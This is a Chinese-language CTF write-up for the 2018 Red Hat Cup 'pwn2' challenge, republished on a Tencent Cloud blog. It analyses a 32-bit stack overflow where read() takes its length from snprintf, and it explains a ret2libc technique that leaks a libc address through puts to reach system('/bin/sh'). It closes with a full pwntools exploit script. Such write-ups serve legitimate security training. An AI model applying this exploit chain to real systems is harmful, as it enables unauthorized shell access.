前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >二进制学习系列-栈溢出之2018红帽杯

二进制学习系列-栈溢出之2018红帽杯

作者头像
安恒网络空间安全讲武堂
发布2018-10-25 10:16:48
5840
发布2018-10-25 10:16:48
举报

概述:

红帽杯的一道pwn2题目,一道蛮简单的栈溢出,给自己练练手了。

介绍:

先check一下:

可以看见只开了NX,32位程序,扔进IDA来分析:

代码语言:javascript
复制
void sub_8048637()
{
  char s; // [esp+7h] [ebp-111h]
  char v1; // [esp+107h] [ebp-11h]
  size_t nbytes; // [esp+108h] [ebp-10h]
  char *v3; // [esp+10Ch] [ebp-Ch]

  puts("Welcome to my game server");
  puts("First, you need to tell me you name?");
  fgets(byte_804A180, 256, stdin);
  v3 = strrchr(byte_804A180, 10);
  if ( v3 )
    *v3 = 0;
  printf("Hello %s\n", byte_804A180);
  puts("What's you occupation?");
  fgets(byte_804A080, 256, stdin);
  v3 = strrchr(byte_804A080, 10);
  if ( v3 )
    *v3 = 0;
  printf("Well, my noble %s\n", byte_804A080);
  nbytes = snprintf(
             &s,
             0x100u,
             "Our %s is a noble %s. He is come from north and well change out would.",
             byte_804A180,
             byte_804A080);
  puts("Here is you introduce");
  puts(&s);
  puts("Do you want to edit you introduce by yourself?[Y/N]");
  v1 = getchar();
  getchar();
  if ( v1 == 89 )
    read(0, &s, nbytes);
  printf("name : %s\noccupation : %s\nintroduce : %s\n", byte_804A180, byte_804A080, &s);
}

程序就是让你输名字和职业,然后有一段可以给你修改的选项,是不是觉得每个fgets都限制了个数,所以溢出点在哪里?

如果暂时找不出是否有溢出,我们可以运行到让程序崩溃,看看到底是否是栈溢出。

OK,可以发现有溢出,那么我们用产生的core文件来调试寻找溢出点

代码语言:javascript
复制
$ ulimit -c 0 #不产生core文件
$ ulimit -c 100 #设置core文件最大为100k
$ ulimit -c unlimited #不限制core文件大小

追踪到0x63,是字母c的十六进制,所以我们可以确定,是在编辑我们信息的时候所发生的栈溢出。

read(0, &s, nbytes); nbytes = snprintf( &s, 0x100u, "Our %s is a noble %s. He is come from north and well change out would.", byte_804A180, byte_804A080);

仔细查看发现nbytes为姓名和职业所输入的字符串的和,所以我们可以推断,read函数中地址s到返回值地址并没有这么大,即使只要姓名和职业的字符串足够长,我们就可以构造栈溢出。

而且姓名和职业是有位数限制的,所以我们只要计算地址s到返回值地址的偏移距离就可以。

s的输入地址

返回值地址,所以偏移量为0xffffcfdc-0xffffcec7 = 277

偏移量有了我们可以开始思考该如何去构造playload,查看文件中的函数

没有system函数,也没有找到/bin/sh字符串,所以我们需要来利用libc来计算出它所利用的libc版本从而计算出system函数以及/bin/sh字符串的地址。

我们利用返回值跳板跳转到puts函数打印出__libc_start_main函数的地址,从而找到libc版本找出system函数以及/bin/sh函数的地址。

思路:

  1. 利用偏移返回到puts函数地址
  2. 打印出__libc_start_main函数的地址
  3. 找出对应的libc版本
  4. 计算出相应的system函数以及/bin/sh字符串的地址
  5. 重新返回到main函数
  6. 再次利用偏移返回到system函数地址
  7. getshell

这里找libc版本可以利用github上的libc-database。

更新库

./get

寻找版本

./find __libc_start_main 0x00000000. (泄漏函数地址)

然后可以自己去库里面拷贝一份相对应的libc出来进行利用。

EXP:

代码语言:javascript
复制
from pwn import *

p = process('./pwn2')
libc = ELF('./libc.6.so')
elf = ELF('./pwn2')
context.log_level = 'debug'
playload = 'A'*200
p.sendlineafter('tell me you name?',playload)
p.recvuntil('you occupation?\n')
playload1 = 'B'*200
p.sendline(playload1)
p.sendlineafter('by yourself?[Y/N]','Y')
#gdb.attach(p)
playload2 = 'a'*277 + p32(elf.plt['puts']) + p32(0x080485CB) + p32(elf.got['__libc_start_main'])
p.sendline(playload2)
p.recvuntil('a'*277)
p.recvuntil('\x0a\x0a')
libc_main = u32(p.recv(4))
print hex(libc_main)

libc_base = libc_main - libc.symbols['__libc_start_main']
libc_system = libc_base + libc.symbols['system']
libc_bin = libc_base + next(libc.search('/bin/sh'))

print hex(libc_system),hex(libc_bin)
playload = 'A'*200
p.sendlineafter('tell me you name?',playload)
p.recvuntil('you occupation?\n')
playload1 = 'B'*200
p.sendline(playload1)
p.sendlineafter('by yourself?[Y/N]','Y')
#gdb.attach(p)
playload2 = 'a'*277 + p32(libc_system) + p32(0x80485cb) + p32(libc_bin)
p.sendline(playload2)

p.interactive()
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-09-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 概述:
  • 介绍:
    • 思路:
    • EXP:
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档